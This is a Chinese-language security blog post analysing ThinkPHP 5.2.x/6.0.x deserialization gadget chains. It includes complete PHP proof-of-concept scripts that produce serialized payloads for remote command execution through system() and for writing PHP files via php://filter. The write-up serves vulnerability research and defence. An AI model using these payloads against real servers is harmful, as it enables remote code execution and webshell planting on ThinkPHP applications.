Learning Man's Blog

ThinkPHP 6.0.x 反序列化简析

字数统计: 1.9k阅读时长: 8 min
2019/12/10

先记:Thinkphp 5.2.x 反序列化简析

由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2

  1. 这种方法是利用think\model\concern\Attribute类中的getValue方法中可控的一个动态函数调用的点,

     $closure = $this->withAttr[$fieldName]; //$withAttr、$value可控,令$closure=system,
     $value   = $closure($value, $this->data);//system('ls',$this->data),命令执行
  2. 这种方法跟上面基本一样,唯一不同的就是在getValue处利用tp自带的SerializableClosure调用,而不是上面找的system()

    \Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。在Opis\Closure\SerializableClosure->__invoke()中有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。call_user_func_array($this->closure, func_get_args());
    这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php__invoke执行

     $func = function(){phpinfo();};
     $closure = new \Opis\Closure\SerializableClosure($func);
     $closure($value, $this->data);// 这里的参数可以不用管
  3. 需要可以上传,利用think\Db.php中存在__call实现文件包含getshell

6.0.x 反序列化简析

Gadget i

来源 https://www.anquanke.com/post/id/187393,文章中是利用`checkAllowFields`中509行db 方法中的 name 函数进行字符串转换

实际可以直接利用510行的.连接,更加方便,本文对后者进行分析,由于执行system$data被置为0,在进入510行后,会因为进入toArrayarray_merge合并参数数组时报错退出

利用链类似5.2.x上的__destruct -> __toString,不过6.x取消了Windows类,需要换一个入口

  1. 在 Model 和 AbstractCache 下类似的调用了 save 方法,但是后者没有实现,只能看前者
    -w667

跟入updateData -> checkAllowFields -> db看到字符串拼接,接下来就是类似之前的流程了,这里选择$this->name$this->table$this->suffix都可以,但如果是$table的话会因为在510行时进入toArrayarray_merge合并参数数组时,由于509行执行后$data被置为0,报错退出

-w1483

poc 编写

为了能进入checkAllowFields触发__toString,我们需要考虑绕过中间的返回
根据下图,可知最直接进入的需求为:

  • $lazySave = true
  • $data not empty
  • $exists = true
  • $force = true

-w1311

<?php
namespace think;
abstract class Model {

    function __construct(){
        $this->lazySave = true;
        $this->exists = true;
        $this->data = ['sari3l'];
        $this->force = true;
    }
}


namespace think\model;
use think\Model;

class Pivot extends Model {};

echo base64_encode(serialize(new Pivot()));

之后我们还需要$this->table存在情况下进行字符串连接,并设置为目标类以及触发Conversion下的__toString,但是 Model 就已经继承Conversion,所以只需要重新生成一个再传入即可

<?php
namespace think;
abstract class Model {
    ...

    function __construct($obj){
        ...
        $this->table = $obj;
    }
}

...

class Pivot extends Model {
    function __construct($obj){
        parent::__construct($obj);
    }
}

$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));

接下来就是在Conversion中实现动态加载函数,和5.2.x相似

-w1313

注意到toArray中需要控制$data中的key,以及在getAttr中从$data中取对应value,以及最后将通过$withAttr控制$closure,同时注意到488行判断了两个key同才可进入逻辑

简单来说

  • $withwithAttrkey[$key] -> 目标方法
  • $data[$key] -> 目标参数
abstract class Model {
    ...
    private $data = [];
    private $withAttr = [];

    function __construct($obj){
        ...
        $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
        $this->withAttr = ["sari3l" => "system"];
    }
}

最终 POC

<?php
namespace think;
abstract class Model {

    function __construct($obj){
        $this->lazySave = true;
        $this->exists = true;
        $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
        $this->force = true;
        $this->table = $obj;
        $this->withAttr = ["sari3l" => "system"];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {
    function __construct($obj){
        parent::__construct($obj);
    }
}

$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));

-w1422

Gadget ii

这里利用的同5.2.x中的第二种方法

\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用执行。

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,$closure又是可控的传入,那么可以直接序列化一个匿名函数在getValue中触发

-w1124

只是$closure那里需要修改,简单改一下 poc 即可,注意加载autoload文件

namespace think;
require __DIR__ . '/../vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model {
    ...
    function __construct($obj){
        ...
        $this->data = ['sari3l' => ''];
        $this->withAttr = ["sari3l" => new SerializableClosure(function (){system('/System/Applications/Calculator.app/Contents/MacOS/Calculator');})];
    }
...

-w969

还需要注意一点,由于此gadget$data并不起到参数作用而只是为了绕过return,所以由于checkAllowFields的509行执行db中存在转换$table拼接,而510也同样存在$table转换,导致会触发两次,可以利用$name实现只触发一次

Gadget iii

前两个都依靠 Model -> __destruct,这里来看看 AbstractCache -> __destruct

由于AbstractCache并没有实现save方法,要看看其子类;如果子类也没有实现,还可看其__call方法

-w458

通过搜索set方法,我们可以看到Rediscache/driver/Filedriver/MemcachedMemcache均有类似的逻辑代码

-w664

-w660

编写 poc

先按照之前的写法,准备进入 serialize 函数

<?php
namespace think\cache\driver;
class Memcached {
    protected $options = ['prefix' => '?'];
}

namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {

    function __construct(){
        $this->autosave = false;
        $this->key = '_sari3l';
        $this->store = new Memcached();
        $this->expire = 0;
    }
}

echo base64_encode(serialize(new CacheStore()));

serialize中,我们可以通过控制options执行目标函数,但还需考虑如何控制进入serialize$value了,即控制最后执行的参数

通过下面的调用,可以看到最主要位于最后的

  • array_flip 交换键值
  • array_intersect_key 使用键名比较计算数组的交集 -> 取共同键,取第一个数组中对应值,组成新数组返回

-w1201

在shell里面,`的优先级是高于"的,所以会先执行whoami然后再将执行结果拼接成一个新的命令

php > system('{"1":"`whoami`"}');
sh: {1:sariel.d}: command not found

因此我们只需要保证目标语句在返回数据中存在即可,由于优先级问题,不用考虑数据是否合法

交换键值后,$cachedProperties = ['path' => 0, ...],因为array_intersect_key会在第一个参数中取值,所以只要保证$object = ['path' => '`<command>`']即可

最终 POC

<?php
namespace think\cache\driver;
class Memcached {
    protected $options = ['prefix' => 'author', 'serialize' => ['system']];
}

namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {

    function __construct(){
        $this->autosave = false;
        $this->key = '_sari3l';
        $this->store = new Memcached();
        $this->expire = 0;
        $this->cache = [['path' => '`/System/Applications/Calculator.app/Contents/MacOS/Calculator`']];
    }
}

echo base64_encode(serialize(new CacheStore()));

-w1492

Gadget iv

Gadget iii中利用的think\cache\driver\Memcached
而在cache/driver/File中除了同 iii 中的直接利用方式,还可以直接写shell

主要利用两点:

  1. 在 getForStorage 中 json_encode 实现拼接
    -w475

  2. 利用php伪协议转义写入文件内容,而且同时用于可以绕过exit(),(测试$cache直接明文payload,$this->cache会直接为空,可能有过滤但未注意)
    -w768

需要注意的两点

  1. $data会经过serialize可执行任意方法,为了保持原有字符串内容,这里选择serialize或其他函数
  2. 要控制$complete内容将最终写入$data前部分内容长度为 4 的倍数,以便正常执行base64解码

最终 POC

<?php
namespace think\cache\driver;
class File {
    protected $options = [
        'prefix' => false,
        'hash_type' => 'md5',
        'cache_subdir' => false,
        'path' => 'php://filter/convert.base64-decode/resource=/tmp/',
        'data_compress' => false,
        'serialize' => ['serialize'],
    ];
}

namespace think\filesystem;
use think\cache\driver\File;
class CacheStore {

    function __construct() {
        $this->autosave = false;
        $this->expire = 0;
        $this->key = '_sari3l';
        $this->store = new File();
        $this->cache = [];
        $this->complete = 'PD9waHAgZWNobyAic2FyaTNsIjsgPz4K';
    }
}

echo base64_encode(serialize(new CacheStore()));

Gadget vi + i

类似写入还有:Adapter 这个很简单,不想写分析了,直接上 POC

唯一的问题,不知道我本地原因还是怎么,$cache$complete中不能明文带 php payload,否则直接为空?

<?php
namespace League\Flysystem\Adapter;
class Local{
    function __construct() {
        $this->pathPrefix = '/';
    }
}

namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter{
    function __construct() {
        $this->autosave = false;
        $this->adapter = new Local();
        $this->cache = [];
        $this->file = '/tmp/sari3l.php';
        $this->complete = "_sari3l";
    }
}

echo base64_encode(serialize(new Adapter()));
CATALOG
  1. 1. 先记:Thinkphp 5.2.x 反序列化简析
  2. 2. 6.0.x 反序列化简析
    1. 2.1. Gadget i
      1. 2.1.1. poc 编写
      2. 2.1.2. 最终 POC
    2. 2.2. Gadget ii
    3. 2.3. Gadget iii
      1. 2.3.1. 编写 poc
      2. 2.3.2. 最终 POC
    4. 2.4. Gadget iv
      1. 2.4.1. 最终 POC
    5. 2.5. Gadget vi + i